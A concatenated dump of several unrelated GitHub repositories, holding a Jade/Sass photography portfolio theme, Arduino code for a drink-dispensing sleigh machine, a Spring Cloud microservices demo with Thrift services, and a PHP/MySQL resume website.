-webkit-transform: $transforms
transform: $transforms
// rotate
@mixin rotate ($deg)
@include transform(rotate(#{$deg}deg))
// scale
@mixin scale($scale)
@include transform(scale($scale))
// translate
@mixin translate ($x, $y)
@include transform(translate($x, $y))
// skew
@mixin skew ($x, $y)
@include transform(skew(#{$x}deg, #{$y}deg))
//transform origin
@mixin transform-origin ($origin)
moz-transform-origin: $origin
-o-transform-origin: $origin
-ms-transform-origin: $origin
-webkit-transform-origin: $origin
transform-origin: $origin
<file_sep>/jade/includes/scripts.jade
<!--[if lt IE 9]>
script(src="libs/html5shiv/es5-shim.min.js")
script(src="libs/html5shiv/html5shiv.min.js")
script(src="libs/html5shiv/html5shiv-printshiv.min.js")
script(src="libs/respond/respond.min.js")
<![endif]-->
script(src="libs/jquery/jquery-1.11.2.min.js")
script(src="libs/modernizr/modernizr.js")
script(src="libs/bootstrap/js/bootstrap.min.js")
script(src="libs/freewall/freewall.js")
script(src="libs/magnific-popup/jquery.magnific-popup.min.js")
script(src="libs/nicescroll/jquery.nicescroll.min.js")
script(src="libs/lazyload/jquery.lazyload.min.js")
script(src="js/common.js")
<file_sep>/jade/includes/aside.jade
//- includes/aside.jade
aside.left-side
.btn_mnu(title="Меню")
.btn_row
.btn_row
.btn_row
.left-side__content
.user-info
img(src="img/photo.jpg", alt="<NAME>")
h2 <NAME>
p Фотограф, дизайнерб иллюстратор
mixin item (url, text)
li
a(href="#{url}") #{text}
nav
ul
+item("index.html", "Портфолио")
+item("about.html", "Обо мне")
+item("contacts.html", "Контакты")
<file_sep>/sass/_fonts.sass
/* font-family: "Raleway" */
@each $font-face in "RalewayRegular", "RalewayLight", "RalewayBold"
@font-face
font-family: $font-face
font-style: normal
font-weight: normal
src: url('../fonts/#{$font-face}/#{$font-face}.eot')
src: url('../fonts/#{$font-face}/#{$font-face}.eot?') format('eot')
src: url('../fonts/#{$font-face}/#{$font-face}.woff') format('woff')
src: url('../fonts/#{$font-face}/#{$font-face}.ttf') format('truetype')
<file_sep>/README.md
# Templete and WP theme for portfolio
Adaptive and animated HTML+CSS template + WordPress theme for cool portfolio.
### What was used:
* WordPress: https://ru.wordpress.org/
* Sublime Text: http://www.sublimetext.com/
* Jade http://jade-lang.com
* Sass http://http://sass-lang.com/
* Free pictures: https://stocksnap.io/
* jQuery: https://jquery.com/
* jQuery FreeWall: http://vnjs.net/www/project/freewall/
* Linea Icons: http://linea.io/
* Magnific Popup: http://dimsemenov.com/plugins/magnific-popup/
* NiceScroll: http://areaaperta.com/nicescroll/
* Google Fonts: http://www.google.com/fonts
* Lazy Load: http://www.appelsiini.net/projects/lazyload
### Demo:
http://sshkarupa.github.io/portfolio/
<file_sep>/jade/includes/meta-links.jade
meta(charset="utf-8")
meta(content="", name="description")
meta(http-equiv="X-UA-Compatible", content="IE=edge")
meta(name="viewport", content="width=device-width, initial-scale=1, maximum-scale=1")
link(rel="shortcut icon", href="img/favicon/favicon.ico", type="image/x-icon")
link(rel="apple-touch-icon", href="img/favicon/apple-touch-icon.png")
link(rel="apple-touch-icon", sizes="72x72" href="img/favicon/apple-touch-icon-72x72.png")
link(rel="apple-touch-icon", sizes="114x114", href="img/favicon/apple-touch-icon-114x114.png")
link(rel="stylesheet", href="libs/bootstrap/css/bootstrap.min.css")
link(rel="stylesheet", href="libs/linea/styles.css")
link(rel="stylesheet", href="libs/magnific-popup/magnific-popup.css")
link(rel="stylesheet", href="css/main.css")
<file_sep>/jade/index.jade
extends /layout
block title
title Портфолио
block body
body
include /includes/aside.jade
.content.gallery
mixin pic (num, tag)
a(href="images/#{num}.jpg" class=tag)
img(src="images/dummy.png" data-original="images/#{num}.jpg", alt="Alt")
+pic(1,"wedding")
+pic(2,"birthday")
+pic(3,"birthday")
+pic(4,"wedding")
+pic(5,"wedding")
+pic(6,"birthday")
+pic(7,"birthday")
+pic(8,"birthday")
+pic(9,"wedding")
+pic(10,"birthday")
+pic(11,"birthday")
+pic(12,"birthday")
+pic(13,"birthday")
+pic(14,"wedding")
+pic(15,"birthday")
+pic(16,"wedding")
+pic(1,"wedding")
+pic(2,"birthday")
+pic(3,"birthday")
+pic(4,"wedding")
+pic(5,"wedding")
+pic(6,"birthday")
+pic(7,"birthday")
+pic(8,"birthday")
+pic(9,"wedding")
+pic(10,"birthday")
+pic(11,"birthday")
+pic(12,"birthday")
+pic(13,"birthday")
+pic(14,"wedding")
+pic(15,"birthday")
+pic(16,"wedding")
.filter-items
button.filter-label.active Все
button.filter-label(data-filter=".wedding") Свадьба
button.filter-label(data-filter=".birthday") День рождения
.loader
.loader_inner
include /includes/scripts.jade
<file_sep>/sass/_media.sass
/*========== Desktop First Method ==========*/
/* Large Devices, Wide Screens */
@media only screen and (max-width : 1200px)
/* Medium Devices, Desktops */
@media only screen and (max-width : 992px)
/* Small Devices, Tablets */
@media only screen and (max-width : 768px)
/* Extra Small Devices, Phones */
@media only screen and (max-width : 480px)
.filter-items
padding: 5px 5px 0 5px
.filter-label
margin: 0 3px 10px
.inside .content
padding: 30px 5% 30px
img
width: 180px
height: 180px
margin-bottom: 20px
h1
font-size: 28px
h3
font-size: 18px
margin: 0
p
font-size: 13px
a
font-size: 13px
.form-contacts form
padding: 20px
.button
font-size: 14px
/* Custom, iPhone Retina */
@media only screen and (max-width : 320px)
/*========== Mobile First Method ==========*/
/* Custom, iPhone Retina */
@media only screen and (min-width : 320px)
/* Extra Small Devices, Phones */
@media only screen and (min-width : 480px)
/* Small Devices, Tablets */
@media only screen and (min-width : 768px)
/* Medium Devices, Desktops */
@media only screen and (min-width : 992px)
/* Large Devices, Wide Screens */
@media only screen and (min-width : 1200px)
|
9f5c9346414d0d77d32f235f9cd380f5aaceb96a
|
[
"Markdown",
"Sass",
"Pug"
] | 13 |
Markdown
|
sshkarupa/portfolio
|
ce77cbcb8cb514f049bd094c89440d1f54bcb743
|
96f956c2e94e7cec2ffddfbc0d26f2bf3c9aeba0
|
refs/heads/master
|
<repo_name>random20x/LMSCF-Patrick-Vinzenz-Bootstrap02<file_sep>/Advanced/js/main.js
document.querySelector('#movie1').addEventListener('click', function(){
let content = document.querySelector('.content');
content.innerHTML = '';
content.insertAdjacentHTML('afterbegin', `
<div class="card-header text-center">
<span>${movieList[0].title}</span>
</div>
<div class="mx-auto">
<img src="${movieList[0].posterUrl}" class="img-fluid">
</div>
<div class="text-center">
<span class="font-weight-bold">Plot: </span><br>
<span>${movieList[0].plot}</span>
</div>
<div class="text-center">
<span class="font-weight-bold">Actors: </span><br>
<span>${movieList[0].actors}</span>
</div>
`)
})
document.querySelector('#movie2').addEventListener('click', function(){
let content = document.querySelector('.content');
content.innerHTML = '';
content.insertAdjacentHTML('afterbegin', `
<div class="card-header text-center">
<span>${movieList[1].title}</span>
</div>
<div class="mx-auto">
<img src="${movieList[1].posterUrl}">
</div>
<div class="text-center">
<span class="font-weight-bold">Plot: </span><br>
<span>${movieList[1].plot}</span>
</div>
<div class="text-center">
<span class="font-weight-bold">Actors: </span><br>
<span>${movieList[1].actors}</span>
</div>
`)
})
|
1fdb8dc0be55cdc18a9cade2735c311fcfef431b
|
[
"JavaScript"
] | 1 |
JavaScript
|
random20x/LMSCF-Patrick-Vinzenz-Bootstrap02
|
8f1178a27856695e28b12520c8235cc6674243f0
|
05ebb28411b26dd203df30cf99658885a38fbf1e
|
refs/heads/master
|
<repo_name>lavcraft/microservices-mastering<file_sep>/README.md
# Spring cloud microservices example
## General purpose
## Component diagramm<file_sep>/fee-service-external/src/main/thrift/service.thrift
namespace java info.developerblog.services.user
exception TUserNotFoundException {
1: string message
}
exception TUnauthorizedException {
1: string message
}
struct TAuthToken {
1: required string token
}
struct TAuthData {
1: required i64 userId
}
struct TUser {
1: required i64 id
2: optional string lastname
3: optional string firstname
4: optional TBalance balance
}
struct TBalance {
1: required i64 amount
2: required string currency = "RUR"
}
service TUserService {
TUser getUserById(1: required TAuthToken authData) throws (1: TUserNotFoundException e, 99: TUnauthorizedException ue)
}<file_sep>/user-thrift-service/src/main/thrift/service.thrift
namespace java info.developerblog.services.user
exception TUserNotFoundException {
1: string message
}
struct TAuthData {
1: required i64 userId
}
struct TUser {
1: required i64 id
2: optional string lastname
3: optional string firstname
4: optional TBalance balance
}
struct TBalance {
1: required i64 amount
2: required string currency = "RUR"
}
service TUserService {
TUser getUserById(1: required TAuthData authData) throws (1: TUserNotFoundException e)
}<file_sep>/gateway-server/src/main/java/ru/lavcraft/microservices/eureka/AuthenticationConfiguration.java
package ru.lavcraft.microservices.eureka;
import info.developerblog.services.user.TAuthData;
import info.developerblog.services.user.TAuthToken;
import info.developerblog.services.user.TUnauthorizedException;
import org.apache.thrift.TException;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import ru.aatarasoff.thrift.api.gateway.core.AuthTokenExchanger;
/**
* Created by aleksandr on 07.10.15.
*/
@Configuration
public class AuthenticationConfiguration {
@Bean
AuthTokenExchanger authTokenExchanger() {
return new AuthTokenExchanger<TAuthToken, TAuthData>() {
@Override
public TAuthToken createEmptyAuthToken() {
return new TAuthToken();
}
@Override
public TAuthData process(TAuthToken authToken) throws TException {
if (authToken.getToken().equals("ABCD")) {
return new TAuthData(1L);
}
throw new TUnauthorizedException("UNAUTHORIZED");
}
};
}
}
<file_sep>/gateway-server/src/main/resources/application.yml
server.port: 9000
spring.application.name: gateway-server<file_sep>/gateway-server/src/main/thrift/auth.thrift
namespace java info.developerblog.services.user
exception TUnauthorizedException {
1: string message
}
struct TAuthToken {
1: required string token
}
struct TAuthData {
1: required i64 userId
}<file_sep>/fee-service/src/main/java/ru/lavcraft/microservices/fee/client/HystrixPaymentServiceClient.java
package ru.lavcraft.microservices.fee.client;
import com.netflix.hystrix.contrib.javanica.annotation.HystrixCommand;
import com.netflix.hystrix.contrib.javanica.command.ObservableResult;
import lombok.RequiredArgsConstructor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import ru.lavcraft.microservices.fee.domain.OperationType;
import rx.Observable;
import static ru.lavcraft.microservices.fee.client.PaymentServiceClient.*;
/**
* @author tolkv
* @since 14/09/15
*/
@Component
@RequiredArgsConstructor(onConstructor = @__(@Autowired))
public class HystrixPaymentServiceClient {
public static final String UNDEFINED = "undefined";
private final PaymentServiceClient paymentServiceClient;
@HystrixCommand
public Observable<PaymentInfo> getPaymentInfoForUser(Long userId, OperationType operationType) {
return new ObservableResult<PaymentInfo>() {
@Override
public PaymentInfo invoke() {
return paymentServiceClient.getPaymentInfo(userId, operationType);
}
};
}
}
<file_sep>/fee-service/src/main/java/ru/lavcraft/microservices/fee/domain/BasicUser.java
package ru.lavcraft.microservices.fee.domain;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author tolkv
* @since 13/09/15
*/
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class BasicUser {
private Long id;
private String lastname;
private String firstname;
private Balance balance;
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public static class Balance {
private Integer amount;
}
}
<file_sep>/payment-service/src/main/java/ru/lavcraft/microservices/fee/PaymentApplication.java
package ru.lavcraft.microservices.fee;
import lombok.Builder;
import lombok.Data;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.client.discovery.EnableDiscoveryClient;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
import org.springframework.cloud.netflix.feign.EnableFeignClients;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Optional;
/**
* @author tolkv
* @since 13/09/15
*/
@EnableFeignClients
@EnableEurekaClient
@EnableDiscoveryClient
@SpringBootApplication
public class PaymentApplication {
public static void main(String[] args) {
SpringApplication.run(PaymentApplication.class, args);
}
}
@RestController
@RequestMapping("/payments")
class PaymentController {
public static final String ACCESS_FULL = "FULL";
@RequestMapping(value = "/check", method = RequestMethod.GET, produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity getPaymetnPermission(@RequestParam Long userId, @RequestParam Optional<OperationType> operationType) {
if (userId == 100)
throw new UserIsBlockedException();
return ResponseEntity.ok(Response.builder()
.additionalFee(Response.Fee.builder()
.max(1000)
.min(100)
.currency("RUR")
.build())
.access(ACCESS_FULL)
.operationType(operationType.orElse(OperationType.EXTERNAL))
.build());
}
}
@Data
@Builder
class Response {
private Fee additionalFee;
private OperationType operationType;
private String access;
@Data
@Builder
public static class Fee {
private int max;
private int min;
private String currency;
}
}
enum OperationType {
EXTERNAL,
INTERNAL,
CUSTOM,
INTERNATIONAL
}
@ResponseStatus(code = HttpStatus.NOT_ACCEPTABLE)
class UserIsBlockedException extends RuntimeException {
public UserIsBlockedException() {
super("UserIsBlocked");
}
}<file_sep>/payment-service/src/main/resources/application.properties
server.port=8080
spring.application.name=payment-service<file_sep>/fee-service/src/main/resources/application.yml
server.port: 8080
spring.application.name: fee-service
user-service:
path: /thrift/user
---
spring:
profiles: consul
---
spring:
profiles: eureka<file_sep>/fee-service-external/src/main/java/ru/lavcraft/microservices/fee/domain/OperationType.java
package ru.lavcraft.microservices.fee.domain;
/**
* @author tolkv
* @since 13/09/15
*/
public enum OperationType {
EXTERNAL,
INTERNAL,
CUSTOM,
INTERNATIONAL
}<file_sep>/settings.gradle
rootProject.name = 'joker-microservices'
include 'discovery-server'
include 'config-server'
include 'gateway-server'
include 'fee-service'
include 'fee-service-external'
include 'payment-service'
include 'user-service'
include 'user-thrift-service'<file_sep>/build.gradle
buildscript {
ext {
springBootVersion = '1.3.0.M5'
dockerPluginVersion = '0.8.2'
}
repositories {
jcenter()
mavenCentral()
maven { url "https://repo.spring.io/snapshot" }
maven { url "https://repo.spring.io/milestone" }
}
dependencies {
classpath("org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}")
classpath 'com.netflix.nebula:gradle-extra-configurations-plugin:2.2.+'
classpath "com.bmuschko:gradle-docker-plugin:${dockerPluginVersion}"
}
}
allprojects {
apply plugin: 'io.spring.dependency-management'
apply plugin: 'provided-base'
repositories {
mavenCentral()
jcenter()
maven { url "https://repo.spring.io/snapshot" }
maven { url "https://repo.spring.io/milestone" }
maven { url "http://dl.bintray.com/aatarasoff/maven" }
}
dependencyManagement {
imports {
mavenBom "org.springframework.cloud:spring-cloud-starter-parent:Brixton.M1"
}
}
}
subprojects {
apply plugin: 'java'
apply plugin: 'idea'
apply plugin: 'spring-boot'
sourceCompatibility = 1.8
targetCompatibility = 1.8
jar {
archiveName = project.name + ".jar"
}
dependencies {
provided("org.projectlombok:lombok")
testCompile("org.springframework.boot:spring-boot-starter-test")
}
task dockerBuild << {
exec {
commandLine 'docker', 'build','--force-rm=true', "--tag='${project.name}'", '.'
}
}
}
task wrapper(type: Wrapper) {
gradleVersion = '2.6'
}
<file_sep>/fee-service-external/src/main/java/ru/lavcraft/microservices/fee/client/PaymentServiceClient.java
package ru.lavcraft.microservices.fee.client;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.springframework.cloud.netflix.feign.FeignClient;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import ru.lavcraft.microservices.fee.domain.OperationType;
/**
* @author tolkv
* @since 14/09/15
*/
@FeignClient("payment-service")
public interface PaymentServiceClient {
@RequestMapping(method = RequestMethod.GET, value = "/payments/check")
PaymentInfo getPaymentInfo(@RequestParam("userId") Long userId,
@RequestParam("operationType") OperationType operationType);
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
class PaymentInfo {
private Fee additionalFee;
private OperationType operationType;
private String access;
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public static class Fee {
private int max;
private int min;
private String currency;
}
}
}
<file_sep>/user-service/src/main/resources/bootstrap.yml
spring.cloud.consul.discovery.preferIpAddress: true
spring.cloud.consul.discovery.enabled: false
spring.cloud.consul.host: 192.168.99.100
---
spring:
profiles: consul
spring.cloud.consul.host: consul-server-8500.service.consul<file_sep>/target.puml
@startuml
component gateway
component discovery_server
component config_server
component user_service
component fee_service
component payment_service
[fee_service] -l-> [user_service]
[fee_service] -r-> [payment_service]
[fee_service] <-u--> gateway
[payment_service] -u--> gateway
[user_service] -u--> gateway
fee_service <-u-> discovery_server
user_service <-u--> discovery_server
payment_service <-u-> discovery_server
gateway -l-> discovery_server
fee_service -d-> config_server
user_service -d-> config_server
payment_service -d-> config_server
@enduml<file_sep>/fee-service-external/src/main/resources/application.yml
server.port: 8080
spring.application.name: fee-service-external
user-service.endpoint: http://192.168.99.100:9000/user-service/thrift/user
---
spring:
profiles: consul
user-service.endpoint: http://gateway-server.service.consul:9000/user-service/thrift/user
---
spring:
profiles: eureka
user-service.endpoint: http://${APPLICATION_DOMAIN}:9000/user-service/thrift/user<file_sep>/user-service/src/main/resources/application.properties
server.port=8080
spring.application.name=user-service<file_sep>/payment-service/build.gradle
dependencies {
compile("org.springframework.boot:spring-boot-starter-actuator")
compile("org.springframework.boot:spring-boot-starter-web")
compile("org.springframework.cloud:spring-cloud-starter-feign")
compile "org.springframework.cloud:spring-cloud-consul-core:1.0.0.M1"
compile "org.springframework.cloud:spring-cloud-consul-discovery:1.0.0.M1"
compile "org.springframework.cloud:spring-cloud-consul-config:1.0.0.M1"
}
|
0f4a138bab8f8f464eadcc32d8c8c460491c7413
|
[
"INI",
"Java",
"Markdown",
"Thrift",
"YAML",
"Gradle",
"PlantUML"
] | 20 |
INI
|
lavcraft/microservices-mastering
|
e71d0b27d733e869317fa70c1c3633c4fca08e03
|
0ac1656d77027b2987d0cd7a0db09b5f32f245f2
|
refs/heads/master
|
<repo_name>5C/sleighcontrol<file_sep>/README.md
Click 'n Drink
===============
Arduino code
<file_sep>/main/main.ino
#include <Servo.h>
#include <AFMotor.h>
#define ACCEL_STEPS 15
#define LEFT 0
#define MIDDLE 1
#define RIGHT 2
#define HOME 0
#define SERVO 0
#define SERVO_HIGH 60
#define SERVO_LOW 150
#define DEBUG 1
// 0:12;5:32;11:1;2:10; // test string
// 3:1;7:2;8:2;9:2;10:2;11:2;12:2;
boolean drinkAvaiable = false;
volatile boolean isHome=true, isFirst=true; // whether the string is complete
int drink[13];
int valve []= {
23,25,27,29,31,33};
AF_Stepper motor(200, 1);
Servo servo;
void setup()
{
// initialize serial:
if(isFirst)
{
Serial.begin(9600);
//int_bfr.reserve(10);
servo.attach(9);
motor.setSpeed(120); // 10 rpm
motor.release();
for(int i=0; i<6; i++)
{
pinMode(valve[i],OUTPUT);
}
// attachInterrupt(5, setHome, FALLING);
pinMode(13, OUTPUT);
digitalWrite(13,LOW);
pinMode(22, INPUT);
}
clearDrink();
delay(100);
Serial.println("ready");
// servo.write(SERVO_LOW);
// delay(100);
}
void loop()
{
if (drinkAvaiable)
{
servo.write(SERVO_LOW);
slowDown(BACKWARD, false);
delay(500);
#ifdef DEBUG
printDrink();
#endif
for(int i=0; i<7; i++)
{
if(drink[i]==0) continue;
isHome=false;
Serial.println(i+1);
driveTo(i+1);
Serial.println("there");
dispense(SERVO, drink[i]);
Serial.println("filled");
}
driveTo(HOME);
Serial.println(HOME);
for(int i=7; i<13; i++)
{
if(!drink[i]) continue;
dispense(i, drink[i]);
}
Serial.println("done");
Serial.flush();
drinkAvaiable = isFirst= false;
asm volatile (" jmp 0x0");
}
}
void serialEvent()
{
String int_bfr = "";
clearDrink();
uint8_t pos;
Serial.println("accepted");
delay(10);
while (Serial.available()>0)
{
char inChar = (char) Serial.read();
if(isDigit(inChar))
{
int_bfr += (char) inChar;
}
else if (inChar == '\n')
{
drinkAvaiable = true;
return;
}
else
{
if(inChar==':')
{
pos = int_bfr.toInt();
}
else if(inChar==';')
{
drink[pos] = int_bfr.toInt();
}
int_bfr = "";
}
delay(10);
}
}
void clearDrink()
{
for(int i=0; i<13; i++)
{
drink[i]=0;
}
}
void printDrink()
{
Serial.println("----------------------------");
for(int i=0; i<13; i++)
{
Serial.print(i);
Serial.print(":\t");
Serial.println(drink[i]);
}
Serial.println();
}
//void driveTo(uint8_t pos)
//{
// static uint8_t actual=HOME;
// int tmp=pos-actual;
// if(tmp<0)
// {
// tmp *= -1;
// }
// delay(1000);
//#ifdef DEBUG
// Serial.print("Driving ");
// Serial.print(tmp);
// Serial.print(" steps to: ");
// Serial.print(pos);
// for(int i=0; i<30; i++)
// {
// delay(tmp*30);
// Serial.print('.');
// }
//#endif
// actual=pos;
//}
void dispense(uint8_t pos, uint8_t amount)
{
if(pos==SERVO)
{
for(int i=0; i<amount; i+=2)
{
for(int val = SERVO_LOW; val>=SERVO_HIGH; val--)
{
servo.write(val);
delay(10);
}
delay(3000);
for(int val = SERVO_HIGH; val < SERVO_LOW; val++)
{
servo.write(val);
delay(10);
}
if(amount>i+2)
delay(2800);
delay(200);
}
}
else
{
digitalWrite(valve[pos-7],HIGH);
delay(400*amount);
digitalWrite(valve[pos-7],LOW);
}
}
void accelerate(int dir)
{
for(int i=1;i<=ACCEL_STEPS;i++)
{
motor.setSpeed(i*10);
motor.step(8, dir, SINGLE);
// delay(5);
}
}
void brake(int dir)
{
for(int i=ACCEL_STEPS; i>0; i--)
{
motor.setSpeed(i*10);
motor.step(8, dir, SINGLE);
// delay(5);
}
delay(5);
motor.release();
}
void slowDown(int dir, boolean acc)
{
int tmp = digitalRead(22);
if(acc)
{
for(int i=ACCEL_STEPS; i>6; i--)
{
motor.setSpeed(i*10);
motor.step(8, dir, SINGLE);
// delay(5);
}
}
else
motor.setSpeed(60);
while(tmp==HIGH)
{
motor.step(2, dir, SINGLE);
tmp = digitalRead(22);
}
isHome = true;
motor.release();
}
void drive(int mm, int dir)
{
mm=mm-57;
float forward_factor=3.6;
float backward_factor=3.7;
if(dir==FORWARD)
{
motor.step(forward_factor*mm, dir, SINGLE);
}
if(dir==BACKWARD)
{
motor.step(backward_factor*mm, dir, SINGLE);
}
}
void driveTo(uint8_t pos)
{
static int abs_pos=HOME;
int dist=0;
switch(pos)
{
case HOME:
dist=abs_pos-10;
break;
case 1:
dist=155-abs_pos;
abs_pos=155;
break;
case 2:
dist=290-abs_pos;
abs_pos=290;
break;
case 3:
dist=425-abs_pos;
abs_pos=425;
break;
case 4:
dist=560-abs_pos;
abs_pos=560;
break;
case 5:
dist=695-abs_pos;
abs_pos=695;
break;
case 6:
dist=830-abs_pos;
abs_pos=830;
break;
case 7:
dist=965-abs_pos;
abs_pos=965;
break;
}
int dir=FORWARD;
if(pos==HOME)
{
if(!isHome)
{
dir=BACKWARD;
accelerate(dir);
drive(dist, dir);
}
// brake(dir);
slowDown(dir, true);
}
else
{
accelerate(dir);
drive(dist, dir);
brake(dir);
}
}
//
//void setHome(void)
//{
// Serial.println("int");
// isHome = true;
// motor.setSpeed(0);
// motor.release();
//}
|
c411a22d146df346b28aea52900f083879a8bc86
|
[
"Markdown",
"C++"
] | 2 |
Markdown
|
5C/sleighcontrol
|
72b7b3bbb0c46a335c7389afdfdf4009f2923107
|
eb16c8ca0a99f0988ab2702371f19f4fb93b1d8b
|
refs/heads/main
|
<repo_name>azeinali/azeinali.github.io<file_sep>/README.md
# azeinali.github.io
My portfolio and resume website.
<file_sep>/controllers/connection.php
<?php
$con = mysqli_connect('localhost','root','','resume') or die('connection lost');
function getGeneralInfo($connection){
$select = mysqli_query($connection,"select * from `general_info` limit 1");
$data = mysqli_fetch_array($select);
return $data;
}
function getExperiences($connection){
$select = mysqli_query($connection,"select * from `experiences`");
$data = [];
while($row = mysqli_fetch_array($select)){
array_push($data, $row);
}
return $data;
}
function getEducations($connection){
$select = mysqli_query($connection, "select * from `educations`");
$data = [];
while ($row = mysqli_fetch_array($select)) {
array_push($data, $row);
}
return $data;
}
function getskills($connection){
$select = mysqli_query($connection, "select * from `skills`");
$data = [];
while($row = mysqli_fetch_array($select)) {
array_push($data, $row);
}
return $data;
}
function getAwards($connection){
$select = mysqli_query($connection, "select * from `awards`");
$data = [];
while($row = mysqli_fetch_array($select)) {
array_push($data, $row);
}
return $data;
}
function getInterests($connection){
$select = mysqli_query($connection, "select * from `interests`");
$data = [];
while($row = mysqli_fetch_array($select)) {
array_push($data, $row);
}
return $data;
}
?>
<file_sep>/index.php
<?php
include_once "controllers/connection.php";
$General_info = getGeneralinfo($con);
$EXP = getExperiences($con);
$EDU = getEducations($con);
$SKL = getskills($con);
$AWZ = getAwards($con);
$INT = getInterests($con);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Resume - Start Bootstrap Theme</title>
<link rel="icon" type="image/x-icon" href="assets/img/favicon.ico" />
<!-- Font Awesome icons (free version)-->
<script crossorigin="anonymous" src="https://use.fontawesome.com/releases/v5.13.0/js/all.js"></script>
<!-- Google fonts-->
<link href="https://fonts.googleapis.com/css?family=Saira+Extra+Condensed:500,700" rel="stylesheet" type="text/css" />
<link href="https://fonts.googleapis.com/css?family=Muli:400,400i,800,800i" rel="stylesheet" type="text/css" />
<!-- Core theme CSS (includes Bootstrap)-->
<link href="css/styles.css" rel="stylesheet" />
</head>
<body id="page-top">
<!-- Navigation-->
<nav class="navbar navbar-expand-lg navbar-dark bg-primary fixed-top" id="sideNav">
<a class="navbar-brand js-scroll-trigger" href="#page-top">
<span class="d-block d-lg-none"><?=$General_info['fullname'];?></span>
<span class="d-none d-lg-block"><img class="img-fluid img-profile rounded-circle mx-auto mb-2" src="<?=$General_info['profilepic'];?>" alt="" /></span>
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item"><a class="nav-link js-scroll-trigger" href="#about">About</a></li>
<li class="nav-item"><a class="nav-link js-scroll-trigger" href="#experience">Experience</a></li>
<li class="nav-item"><a class="nav-link js-scroll-trigger" href="#education">Education</a></li>
<li class="nav-item"><a class="nav-link js-scroll-trigger" href="#skills">Skills</a></li>
<li class="nav-item"><a class="nav-link js-scroll-trigger" href="#interests">Interests</a></li>
<li class="nav-item"><a class="nav-link js-scroll-trigger" href="#awards">Awards</a></li>
</ul>
</div>
</nav>
<!-- Page Content-->
<div class="container-fluid p-0">
<!-- About-->
<section class="resume-section" id="about">
<div class="resume-section-content">
<h1 class="mb-0"><?=$General_info['fullname'];?></h1>
<div class="subheading mb-5"><?=$General_info['address'];?> . <?=$General_info['mobile'];?>
<a href="mailto:<?=$General_info['email'];?>"><?=$General_info['email'];?></a>
</div>
<p class="lead mb-5"><?=$General_info['about'];?></p>
<div class="social-icons">
<?php if($General_info['twitter'] != ''): ?>
<a href="<?=$General_info['twitter'];?>">
<i class="fab fa-twitter"></i>
</a>
<?php endif; ?>
<?php if($General_info['facebookid'] != ''): ?>
<a href="<?=$General_info['facbookid'];?>">
<i class="fab fa-facebook-f"></i>
</a>
<?php endif; ?>
<?php if($General_info['instagram'] != ''): ?>
<a href="<?=$General_info['instagram'];?>">
<i class="fab fa-instagram"></i>
</a>
<?php endif; ?>
</div>
</div>
</section>
<hr class="m-0" />
<!-- Experience-->
<section class="resume-section p-3 p-lg-5 d-flex justify-content-center" id="experience">
<div class="w-100">
<h2 class="mb-5">Experience</h2>
<?php foreach($EXP as $expItem): ?>
<div class="resume-item d-flex flex-column flex-md-row justify-content-between">
<div class="resume-content">
<h3 class="mb-0"><?=$expItem['title'];?></h3>
<div class="subheading mb-3"><?=$expItem['subtitle'];?></div>
<p><?=$expItem['content'];?></p>
<a href="<?=$expItem['link'];?>"><?=$expItem['link'];?>
</a>
</div>
<div class="flex-shrink-0">
<span class="text-primary"><?=$expItem['fromDate'];?> - <?=$expItem['toDate'];?></span>
</div>
</div>
<?php endforeach; ?>
</div>
</section>
<hr class="m-0">
<!-- education-->
<section class="resume-section p-3 p-lg-5 d-flex align-items-center" id="education">
<div class="w-100">
<h2 class="mb-5">education</h2>
<?php foreach($EDU as $eduItem): ?>
<div class="resume-item d-flex flex-column flex-md-row justify-content-between mb-5">
<div class="resume-content">
<h3 class="mb-0"><?=$eduItem['tile'];?></h3>
<div class="subheading mb-3"><?=$eduItem['subTitle'];?></div>
<p><?=$eduItem['content'];?></p>
</div>
<div class="flex-shrink-0">
<span class="text-primary"><?=$eduItem['fromDate'];?> - <?=$eduItem['toDate'];?></span>
</div>
</div>
<?php endforeach; ?>
</div>
</section>
<hr class="m-0" />
<!--skills-->
<section class="resume-section" id="skills">
<div class="resume-section-content">
<h2 class="mb-5">skills</h2>
<ul class="fa-ul mb-0">
<?php foreach($SKL as $sklItem): ?>
<li>
<i class="fa-li fa fa-check"></i>
<?=$sklItem['title'];?>
</li>
<?php endforeach; ?>
</ul>
</section>
<hr class="m-0" />
<!-- Interests-->
</div>
<section class="resume-section p-3 p-lg-5 d-flex justify-content-center" id="interests">
<div class="w-100">
<h2 class="mb-5">Interests</h2>
<?php foreach($INT as $intItem): ?>
<div class="resume-item d-flex flex-column flex-md-row justify-content-between">
<div class="resume-content">
<h3 class="mb-0"><?=$intItem['tile'];?></h3>
<div class="subheading mb-3"><?=$intItem['subTitle'];?></div>
<p><?=$intItem['content'];?></p>
</div>
<div class="flex-shrink-3000">
</div>
</div>
<?php endforeach; ?>
</div>
</section>
<hr class="m-0" />
<!-- Awards-->
<section class="resume-section p-3 p-lg-5 d-flex align-items-center" id="awards">
<div class="resume-section-content">
